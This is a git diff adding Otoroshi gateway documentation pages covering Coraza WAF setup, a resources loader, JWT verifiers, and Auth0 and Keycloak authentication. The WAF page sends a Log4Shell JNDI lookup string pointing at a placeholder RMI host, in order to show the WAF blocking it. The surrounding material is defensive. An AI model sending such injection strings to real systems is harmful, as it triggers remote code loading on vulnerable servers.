+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Create a WAF configuration

+

first, go on the features page of otoroshi and then click on the Coraza WAF configs. item.

+

Now create a new configuration, give it a name and a description, ensure that you enabled the Inspect req/res body flag and save your configuration.

+

The corresponding admin api call is the following :

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs' \
+  -u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '
+{
+  "id": "coraza-waf-demo",
+  "name": "My blocking WAF",
+  "description": "An awesome WAF",
+  "inspect_body": true,
+  "config": {
+    "directives_map": {
+      "default": [
+        "Include @recommended-conf",
+        "Include @crs-setup-conf",
+        "Include @owasp_crs/*.conf",
+        "SecRuleEngine DetectionOnly"
+      ]
+    },
+    "default_directives": "default",
+    "per_authority_directives": {}
+  }
+}'
+
+

Configure Coraza and the OWASP Core Rule Set

+

Now you can easily configure the coraza WAF in the json config. section. By default it should look something like :

+
{
+  "directives_map": {
+    "default": [
+      "Include @recommended-conf",
+      "Include @crs-setup-conf",
+      "Include @owasp_crs/*.conf",
+      "SecRuleEngine DetectionOnly"
+    ]
+  },
+  "default_directives": "default",
+  "per_authority_directives": {}
+}
+
+

You can find anything about it in the documentation of Coraza.

+

here we have the basic setup to apply the OWASP core rule set in detection mode only. So each time Coraza will find something weird in a request, it will only log it but let the request pass. We can enable blocking by setting "SecRuleEngine On"

+

we can also deny access to the /admin uri by adding the following directive

+
"SecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:1,t:lowercase,deny\""
+
+

You can also provide multiple profile of rules in the directives_map with different names and use the per_authority_directives object to map hostnames to a specific profile.

+

the corresponding admin api call is the following :

+
curl -X PUT 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/coraza-waf-demo' \
+  -u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '
+{
+  "id": "coraza-waf-demo",
+  "name": "My blocking WAF",
+  "description": "An awesome WAF",
+  "inspect_body": true,
+  "config": {
+    "directives_map": {
+      "default": [
+        "Include @recommended-conf",
+        "Include @crs-setup-conf",
+        "Include @owasp_crs/*.conf",
+        "SecRule REQUEST_URI \"@streq /admin\" \"id:101,phase:1,t:lowercase,deny\"",
+        "SecRuleEngine On"
+      ]
+    },
+    "default_directives": "default",
+    "per_authority_directives": {}
+  }
+}'
+
+

Add the WAF plugin on your route

+

Now you can create a new route that will use your WAF configuration. Let say we want a route on http://wouf.oto.tools:8080 to goes to https://www.otoroshi.io. Now add the Coraza WAF plugin to your route and in the configuration select the configuration you created previously.

+

the corresponding admin api call is the following :

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+  -u admin-api-apikey-id:admin-api-apikey-secret \
+  -H 'Content-Type: application/json' -d '
+{
+  "id": "route_demo",
+  "name": "WAF route",
+  "description": "A new route with a WAF enabled",
+  "frontend": {
+    "domains": [
+      "wouf.oto.tools"
+    ]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "www.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+      "plugin": "cp:otoroshi.wasm.proxywasm.NgCorazaWAF",
+      "config": {
+        "ref": "coraza-waf-demo"
+      },
+      "plugin_index": {
+        "validate_access": 0,
+        "transform_request": 0,
+        "transform_response": 0
+      }
+    },
+    {
+      "plugin": "cp:otoroshi.next.plugins.OverrideHost",
+      "plugin_index": {
+        "transform_request": 1
+      }
+    }
+  ]
+}'
+
+

Try to use an exploit ;)

+

let try to trigger Coraza with a Log4Shell crafted request:

+
curl 'http://wouf.oto.tools:9999' -H 'foo: ${jndi:rmi://foo/bar}' --include
+
+HTTP/1.1 403 Forbidden
+Date: Thu, 25 May 2023 09:47:04 GMT
+Content-Type: text/plain
+Content-Length: 0
+
+
+

or access to /admin

+
curl 'http://wouf.oto.tools:9999/admin' --include
+
+HTTP/1.1 403 Forbidden
+Date: Thu, 25 May 2023 09:47:04 GMT
+Content-Type: text/plain
+Content-Length: 0
+
+
+

if you look at otoroshi logs you will find something like :

+
[error] otoroshi-proxy-wasm - [client "127.0.0.1"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell 
+  [file "@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf"] [line "10608"] [id "944150"] [rev ""] 
+  [msg "Potential Remote Command Execution: Log4j / Log4shell"] [data ""] [severity "critical"] 
+  [ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"] [tag "application-multi"] 
+  [tag "language-java"] [tag "platform-multi"] [tag "attack-rce"] [tag "OWASP_CRS"] 
+  [tag "capec/1000/152/137/6"] [tag "PCI/6.5.2"] [tag "paranoia-level/1"] [hostname "wwwwouf.oto.tools"] 
+  [uri "/"] [unique_id "uTYakrlgMBydVGLodbz"]
+[error] otoroshi-proxy-wasm - [client "127.0.0.1"] Coraza: Warning. Inbound Anomaly Score Exceeded (Total Score: 5) 
+  [file "@owasp_crs/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "11029"] [id "949110"] [rev ""] 
+  [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] 
+  [data ""] [severity "emergency"] [ver "OWASP_CRS/4.0.0-rc1"] [maturity "0"] [accuracy "0"] 
+  [tag "anomaly-evaluation"] [hostname "wwwwouf.oto.tools"] [uri "/"] [unique_id "uTYakrlgMBydVGLodbz"]
+[info] otoroshi-proxy-wasm - Transaction interrupted tx_id="uTYakrlgMBydVGLodbz" context_id=3 action="deny" phase="http_response_headers"
+...
+[error] otoroshi-proxy-wasm - [client "127.0.0.1"] Coraza: Warning.  [file ""] [line "12914"] 
+  [id "101"] [rev ""] [msg ""] [data ""] [severity "emergency"] [ver ""] [maturity "0"] [accuracy "0"] 
+  [hostname "wwwwouf.oto.tools"] [uri "/admin"] [unique_id "mqXZeMdzRaVAqIiqvHf"]
+[info] otoroshi-proxy-wasm - Transaction interrupted tx_id="mqXZeMdzRaVAqIiqvHf" context_id=2 action="deny" phase="http_request_headers"
+
+

Generated events

+

each time Coraza will generate log about vunerability detection, an event will be generated in otoroshi and exporter through the usual data exporter way. The event will look like :

+
{
+  "@id" : "86b647450-3cc7-42a9-aaec-828d261a8c74",
+  "@timestamp" : 1684938211157,
+  "@type" : "CorazaTrailEvent",
+  "@product" : "otoroshi",
+  "@serviceId" : "--",
+  "@service" : "--",
+  "@env" : "prod",
+  "level" : "ERROR",
+  "msg" : "Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell",
+  "fields" : {
+    "hostname" : "wouf.oto.tools",
+    "maturity" : "0",
+    "line" : "10608",
+    "unique_id" : "oNbisKlXWaCdXntaUpq",
+    "tag" : "paranoia-level/1",
+    "data" : "",
+    "accuracy" : "0",
+    "uri" : "/",
+    "rev" : "",
+    "id" : "944150",
+    "client" : "127.0.0.1",
+    "ver" : "OWASP_CRS/4.0.0-rc1",
+    "file" : "@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf",
+    "msg" : "Potential Remote Command Execution: Log4j / Log4shell",
+    "severity" : "critical"
+  },
+  "raw" : "[client \"127.0.0.1\"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell [file \"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\"] [line \"10608\"] [id \"944150\"] [rev \"\"] [msg \"Potential Remote Command Execution: Log4j / Log4shell\"] [data \"\"] [severity \"critical\"] [ver \"OWASP_CRS/4.0.0-rc1\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-java\"] [tag \"platform-multi\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag \"capec/1000/152/137/6\"] [tag \"PCI/6.5.2\"] [tag \"paranoia-level/1\"] [hostname \"wouf.oto.tools\"] [uri \"/\"] [unique_id \"oNbisKlXWaCdXntaUpq\"]\n",
+}
+
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/resources-loader.html b/docs/manual/how-to-s/resources-loader.html new file mode 100644 index 0000000000..231cbebde4 --- /dev/null +++ b/docs/manual/how-to-s/resources-loader.html @@ -0,0 +1,398 @@ + + + + +The resources loader · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

The resources loader

+

The resources loader is a tool to create an Otoroshi resource from a raw content. This content can be found on each Otoroshi resources pages (services descriptors, apikeys, certificates, etc …). To get the content of a resource as file, you can use the two export buttons, one to export as JSON format and the other as YAML format.

+

Once exported, the content of the resource can be import with the resource loader. You can import single or multiples resources on one time, as JSON and YAML format.

+

The resource loader is available on this route bo/dashboard/resources-loader.

+

On this page, you can paste the content of your resources and click on Load resources.

+

For each detected resource, the loader will display :

+
    +
  • a resource name corresponding to the field name
  • +
  • a resource type corresponding to the type of created resource (ServiceDescriptor, ApiKey, Certificate, etc)
  • +
  • a toggle to choose if you want to include the element for the creation step
  • +
  • the updated status by the creation process
  • +
+

Once you have selected the resources to create, you can Import selected resources.

+

Once generated, all status will be updated. If all is working, the status will be equals to done.

+

If you want to get back to the initial page, you can use the restart button.

+ +
+
+
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-an-app-with-jwt-verifiers.html b/docs/manual/how-to-s/secure-an-app-with-jwt-verifiers.html new file mode 100644 index 0000000000..7b8f73294a --- /dev/null +++ b/docs/manual/how-to-s/secure-an-app-with-jwt-verifiers.html @@ -0,0 +1,519 @@ + + + + +Secure an api with jwt verifiers · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an api with jwt verifiers

+
+Route plugins: +Jwt verification only +
+

A Jwt verifier is the guard that verifies the signature of tokens in requests.

+

A verifier can obvisouly verify or generate.

+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Your first jwt verifier

+

Let’s start by validating all incoming request tokens tokens on our simple route created in the Before you start section.

+
    +
  1. Navigate to the simple route
  2. +
  3. Search in the list of plugins and add the Jwt verification only plugin on the flow
  4. +
  5. Click on Start by select or create a JWT Verifier
  6. +
  7. Create a new JWT verifier
  8. +
  9. Set simple-jwt-verifier as Name
  10. +
  11. Select Hmac + SHA as Algo (for this example, we expect tokens with a symetric signature), 512 as SHA size and otoroshi as HMAC secret
  12. +
  13. Confirm the creation
  14. +
+

Save your route and try to call it

+
curl -X GET 'http://myservice.oto.tools:8080/' --include
+
+

This should output :

+
{
+    "Otoroshi-Error": "error.expected.token.not.found"
+}
+
+

A simple way to generate a token is to use jwt.io. Once navigate, define HS512 as alg in header section and insert otoroshi as verify signature secret.

+

Once created, copy-paste the token from jwt.io to the Authorization header and call our service.

+
# replace xxxx by the generated token
+curl -X GET \
+  -H "X-JWT-Token: xxxx" \
+  'http://myservice.oto.tools:8080'
+
+

This should output a json with X-JWT-Token in headers field. Its value is exactly the same as the passed token.

+
{
+  "method": "GET",
+  "path": "/",
+  "headers": {
+    "host": "mirror.otoroshi.io",
+    "X-JWT-Token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.ipDFgkww51mSaSg_199BMRj4gK20LGz_czozu3u8rCFFO1X20MwcabSqEzUc0q4qQ4rjTxjoR4HeUDVcw8BxoQ",
+    ...
+  }
+}
+
+

Verify and generate a new token

+

An other feature is to verify the incomings tokens and generate new ones, with a different signature and claims.

+

Let’s start by extending the previous verifier.

+
    +
  1. Jump to the Verif Strategy field and select Verify and re-sign JWT token.
  2. +
  3. Edit the name with jwt-verify-and-resign
  4. +
  5. Remove the default field in Verify token fields array
  6. +
  7. Change the second Hmac secret in Re-sign settings section with otoroshi-internal-secret
  8. +
  9. Save your verifier.
  10. +
+
+

Note : the name of the verifier doesn’t impact the identifier. So you can save the changes of your verifier without modifying the identifier used in your call.

+
+
# replace xxxx by the generated token
+curl -X GET \
+  -H "Authorization: xxxx" \
+  'http://myservice.oto.tools:8080'
+
+

This should output a json with authorization in headers field. This time, the value are different and you can check his signature on jwt.io (the expected secret of the generated token is otoroshi-internal-secret)

+ +

Verify, transform and generate a new token

+

The most advanced verifier is able to do the same as the previous ones, with the ability to configure the token generation (claims, output header name).

+

Let’s start by extending the previous verifier.

+
    +
  1. +

    Jump to the Verif Strategy field and select Verify, transform and re-sign JWT token.

  2. +
  3. +

    Edit the name with jwt-verify-transform-and-resign

  4. +
  5. Remove the default field in Verify token fields array
  6. +
  7. Change the second Hmac secret in Re-sign settings section with otoroshi-internal-secret
  8. +
  9. Set Internal-Authorization as Header name
  10. +
  11. Set key on first field of Rename token fields and from-otoroshi-verifier on second field
  12. +
  13. Set generated-key and generated-value as Set token fields
  14. +
  15. Add generated_at and ${date} as second field of Set token fields (Otoroshi supports an expression language)
  16. +
  17. Save your verifier and try to call your service again.
  18. +
+

This should output a json with authorization in headers field and our generate token in Internal-Authorization. Once paste in jwt.io, you should have :

+ +

You can see, in the payload of your token, the two claims from-otoroshi-verifier and generated-key added during the generation of the token by the JWT verifier.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-app-with-auth0.html b/docs/manual/how-to-s/secure-app-with-auth0.html new file mode 100644 index 0000000000..5cd598b797 --- /dev/null +++ b/docs/manual/how-to-s/secure-app-with-auth0.html @@ -0,0 +1,505 @@ + + + + +Secure an app with Auth0 · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an app with Auth0

+
+Route plugins: +Authentication +
+

Download Otoroshi

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Configure an Auth0 client

+

The first step of this tutorial is to setup an Auth0 application with the information of the instance of our Otoroshi.

+

Navigate to https://manage.auth0.com (create an account if it’s not already done).

+

Let’s create an application when clicking on the Applications button on the sidebar. Then click on the Create application button on the top right.

+
    +
  1. Choose Regular Web Applications as Application type
  2. +
  3. Then set for example otoroshi-client as Name, and confirm the creation
  4. +
  5. Jump to the Settings tab
  6. +
  7. Scroll to the Application URLs section and add the following url as Allowed Callback URLs : http://otoroshi.oto.tools:8080/backoffice/auth0/callback
  8. +
  9. Set https://otoroshi.oto.tools:8080/ as Allowed Logout URLs
  10. +
  11. Set https://otoroshi.oto.tools:8080 as Allowed Web Origins
  12. +
  13. Save changes at the bottom of the page.
  14. +
+

Once done, we have a full setup, with a client ID and secret at the top of the page, which authorizes our Otoroshi and redirects the user to the callback url when they log into Auth0.

+

Create an Auth0 provider module

+

Let’s back to Otoroshi to create an authentication module with OAuth2 / OIDC provider as type.

+
    +
  1. Go ahead, and navigate to http://otoroshi.oto.tools:8080
  2. +
  3. Click on the cog icon on the top right
  4. +
  5. Then Authentication configs button
  6. +
  7. And add a new configuration when clicking on the Add item button
  8. +
  9. Select the OAuth provider in the type selector field
  10. +
  11. Then click on Get from OIDC config and paste https://<tenant-name>.<region>.auth0.com/.well-known/openid-configuration. Replace the tenant name by the name of your tenant (displayed on the left top of auth0 page), and the region of the tenant (eu in my case).
  12. +
+

Once done, set the Client ID and the Client secret from your Auth0 application. End the configuration with http://otoroshi.oto.tools:8080/backoffice/auth0/callback as Callback URL.

+

At the bottom of the page, disable the secure button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs).

+

Connect to Otoroshi with Auth0 authentication

+

To secure Otoroshi with your Auth0 configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.

+
    +
  1. Navigate to the danger zone (when clicking on the cog on the top right and selecting Danger zone)
  2. +
  3. Scroll to the BackOffice auth. settings
  4. +
  5. Select your last Authentication configuration (created in the previous section)
  6. +
  7. Save the global configuration with the button on the top right
  8. +
+

Testing your configuration

+
    +
  1. Disconnect from your instance
  2. +
  3. Then click on the Login using third-party button (or navigate to http://otoroshi.oto.tools:8080)
  4. +
  5. Click on Login using Third-party button
  6. +
  7. If all is configured, Otoroshi will redirect you to the auth0 server login page
  8. +
  9. Set your account credentials
  10. +
  11. Good works! You’re connected to Otoroshi with an Auth0 module.
  12. +
+

Secure an app with Auth0 authentication

+

With the previous configuration, you can secure any of Otoroshi services with it.

+

The first step is to apply a little change on the previous configuration.

+
    +
  1. Navigate to http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs.
  2. +
  3. Create a new Authentication module configuration with the same values.
  4. +
  5. Replace the Callback URL field to http://privateapps.oto.tools:8080/privateapps/generic/callback (we changed this value because the redirection of a connected user by a third-party server is covered by another route by Otoroshi).
  6. +
  7. Disable the secure button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)
  8. +
+
+

Note : an Otoroshi service is called a private app when it is protected by an Authentication module.

+
+

We can set the Authentication module on your route.

+
    +
  1. Navigate to any created route
  2. +
  3. Search in the list of plugins the plugin named Authentication
  4. +
  5. Select your Authentication config inside the list
  6. +
  7. Don’t forget to save your configuration.
  8. +
  9. Now you can try to call your route and see the Auth0 login page appears.
  10. +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/secure-app-with-keycloak.html b/docs/manual/how-to-s/secure-app-with-keycloak.html new file mode 100644 index 0000000000..356aa6e0a9 --- /dev/null +++ b/docs/manual/how-to-s/secure-app-with-keycloak.html @@ -0,0 +1,676 @@ + + + + +Secure an app with Keycloak · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Secure an app with Keycloak

+

Before you start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Running a keycloak instance with docker

+
docker run \
+  -p 8080:8080 \
+  -e KEYCLOAK_USER=admin \
+  -e KEYCLOAK_PASSWORD=admin \
+  --name keycloak-server \
+  --detach jboss/keycloak:15.0.1
+
+

This should download the image of keycloak (if you haven’t already it) and display the digest of the created container. This command mapped TCP port 8080 in the container to port 8080 of your laptop and created a server with admin/admin as admin credentials.

+

Once started, you can open a browser on http://localhost:8080 and click on Administration Console. Log to your instance with admin/admin as credentials.

+

The first step is to create a Keycloak client, an entity that can request Keycloak to authenticate a user. Click on the clients button on the sidebar, and then on Create button at the top right of the view.

+

Fill the client form with the following values.

+
    +
  • Client ID: keycloak-otoroshi-backoffice
  • +
  • Client Protocol: openid-connect
  • +
  • Root URL: http://otoroshi.oto.tools:8080/
  • +
+

Validate the creation of the client by clicking on the Save button.

+

The next step is to change the Access Type used by default. Jump to the Access Type field and select confidential. The confidential configuration force the client application to send at Keycloak a client ID and a client Secret. Scroll to the bottom of the page and save the configuration.

+

Now scroll to the top of your page. Just at the right of the Settings tab, a new tab appeared : the Credentials page. Click on this tab, and make sure that Client Id and Secret is selected as Client Authenticator and copy the generated Secret to the next part.

+

Create a Keycloak provider module

+
    +
  1. Go ahead, and navigate to http://otoroshi.oto.tools:8080
  2. +
  3. Click on the cog icon on the top right
  4. +
  5. Then Authentication configs button
  6. +
  7. And add a new configuration when clicking on the Add item button
  8. +
  9. Select the OAuth2 / OIDC provider in the type selector field
  10. +
  11. Set a basic name and description
  12. +
+

A simple way to import a Keycloak client is to give the URL of the OpenID Connect Otoroshi. By default, keycloak used the next URL : http://localhost:8080/auth/realms/master/.well-known/openid-configuration.

+

Click on the Get from OIDC config button and paste the previous link. Once it’s done, scroll to the URLs section. All URLs has been fill with the values picked from the JSON object returns by the previous URL.

+

The only fields to change are :

+
    +
  • Client ID: keycloak-otoroshi-backoffice
  • +
  • Client Secret: Paste the secret from the Credentials Keycloak page. In my case, it’s something like 90c9bf0b-2c0c-4eb0-aa02-72195beb9da7
  • +
  • Callback URL: http://otoroshi.oto.tools:8080/backoffice/auth0/callback
  • +
+

At the bottom of the page, disable the secure button (because we’re using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs). Nothing else to change, just save the configuration.

+

Connect to Otoroshi with Keycloak authentication

+

To secure Otoroshi with your Keycloak configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.

+
    +
  1. Navigate to the danger zone (when clicking on the cog on the top right and selecting Danger zone)
  2. +
  3. Scroll to the BackOffice auth. settings
  4. +
  5. Select your last Authentication configuration (created in the previous section)
  6. +
  7. Save the global configuration with the button on the top right
  8. +
+

Testing your configuration

+
    +
  1. Disconnect from your instance
  2. +
  3. Then click on the Login using third-party button (or navigate to http://otoroshi.oto.tools:8080)
  4. +
  5. Click on Login using Third-party button
  6. +
  7. If all is configured, Otoroshi will redirect you to the keycloak login page
  8. +
  9. Set admin/admin as user and trust the user by clicking on yes button.
  10. +
  11. Good work! You’re connected to Otoroshi with an Keycloak module.
  12. +
+
+

A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.

+
+

Visualize an admin user session or a private user session

+

Each user, wheter connected user to the Otoroshi UI or at a private Otoroshi app, has an own session. As an administrator of Otoroshi, you can visualize via Otoroshi the list of the connected users and their profile.

+

Let’s start by navigating to the Admin users sessions page (just here or when clicking on the cog, and on the Admins sessions button at the bottom of the list).

+

This page gives a complete view of the connected admins. For each admin, you have his connection date and his expiration date. You can also check the Profile and the Rights of the connected users.

+

If we check the profile and the rights of the previously logged user (from Keycloak in the previous part) we can retrieve the following information :

+
{
+  "sub": "4c8cd101-ca28-4611-80b9-efa504ac51fd",
+  "upn": "admin",
+  "email_verified": false,
+  "address": {},
+  "groups": [
+    "create-realm",
+    "default-roles-master",
+    "offline_access",
+    "admin",
+    "uma_authorization"
+  ],
+  "preferred_username": "admin"
+}
+
+

and his default rights

+
[
+  {
+    "tenant": "default:rw",
+    "teams": [
+      "default:rw"
+    ]
+  }
+]
+
+

We haven’t create any specific groups in Keycloak or specify rights in Otoroshi for him. In this case, the use received the default Otoroshi rights at his connection. The user can navigate on the default Organization and Teams (which are two resources created by Otoroshi at the boot) and have the full access on its (r: Read, w: Write, *: read/write).

+

In the same way, you’ll find all users connected to a private Otoroshi app when navigate on the Private App View or using the cog at the top of the page.

+

Configure the Keycloak module to force logged in users to be an Otoroshi admin with full access

+

Go back to the Keycloak module in Authentication configs view. Turn on the Supers admin only button and save your configuration. Try again the connection to Otoroshi using Keycloak third-party server.

+

Once connected, click on the cog button, and check that you have access to the full features of Otoroshi (like Admin user sessions). Now, your rights should be :

+
[
+  {
+    "tenant": "*:rw",
+    "teams": [
+      "*:rw"
+    ]
+  }
+]
+
+

Merge Id token content on user profile

+

Go back to the Keycloak module in Authentication configs view. Turn on the Read profile from token button and save your configuration. Try again the connection to Otoroshi using Keycloak third-party server.

+

Once connected, your profile should be contains all Keycloak id token :

+
{
+    "exp": 1634286674,
+    "iat": 1634286614,
+    "auth_time": 1634286614,
+    "jti": "eb368578-e886-4caa-a51b-c1d04973c80e",
+    "iss": "http://localhost:8080/auth/realms/master",
+    "aud": [
+        "master-realm",
+        "account"
+    ],
+    "sub": "4c8cd101-ca28-4611-80b9-efa504ac51fd",
+    "typ": "Bearer",
+    "azp": "keycloak-otoroshi-backoffice",
+    "session_state": "e44fe471-aa3b-477d-b792-4f7b4caea220",
+    "acr": "1",
+    "allowed-origins": [
+        "http://otoroshi.oto.tools:8080"
+    ],
+    "realm_access": {
+        "roles": [
+        "create-realm",
+        "default-roles-master",
+        "offline_access",
+        "admin",
+        "uma_authorization"
+        ]
+    },
+    "resource_access": {
+        "master-realm": {
+        "roles": [
+            "view-identity-providers",
+            "view-realm",
+            "manage-identity-providers",
+            "impersonation",
+            "create-client",
+            "manage-users",
+            "query-realms",
+            "view-authorization",
+            "query-clients",
+            "query-users",
+            "manage-events",
+            "manage-realm",
+            "view-events",
+            "view-users",
+            "view-clients",
+            "manage-authorization",
+            "manage-clients",
+            "query-groups"
+        ]
+        },
+        "account": {
+        "roles": [
+            "manage-account",
+            "manage-account-links",
+            "view-profile"
+        ]
+        }
+    }
+    ...
+}
+
+

Manage the Otoroshi user rights from keycloak

+

One powerful feature supports by Otoroshi, is to use the Keycloak groups attributes to set a list of rights for a Otoroshi user.

+

In the Keycloak module, you have a field, named Otoroshi rights field name with otoroshi_rights as default value. This field is used by Otoroshi to retrieve information from the Id token groups.

+

Let’s create a group in Keycloak, and set our default Admin user inside. In Keycloak admin console :

+
    +
  1. Navigate to the groups view, using the keycloak sidebar
  2. +
  3. Create a new group with my-group as Name
  4. +
  5. +

    Then, on the Attributes tab, create an attribute with otoroshi_rights as Key and the following json array as Value

    +
    [
    +{
    +    "tenant": "*:rw",
    +    "teams": [
    +        "*:rw",
    +        "my-future-team:rw"
    +    ]
    +}
    +]
    +
  6. +
+

With this configuration, the user have a full access on all Otoroshi resources (my-future-team is not created in Otoroshi but it’s not a problem, Otoroshi can handle it and use this rights only when the team will be present)

+

Click on the Add button and save the group. The last step is to assign our user to this group. Jump to Users view using the sidebar, click on View all users, edit the user and his group membership using the Groups tab (use join button the assign user in my-group).

+

The next step is to add a mapper in the Keycloak client. By default, Keycloak doesn’t expose any users information (like group membership or users attribute). We need to ask to Keycloak to expose the user attribute otoroshi_rights set previously on group.

+

Navigate to the Keycloak-otoroshi-backoffice client, and jump to Mappers tab. Create a new mapper with the following values:

+
    +
  • Name: otoroshi_rights
  • +
  • Mapper Type: User Attribute
  • +
  • User Attribute: otoroshi_rights
  • +
  • Token Claim Name: otoroshi_rights
  • +
  • Claim JSON Type: JSON
  • +
  • Multivalued:
  • +
  • Aggregate attribute values:
  • +
+

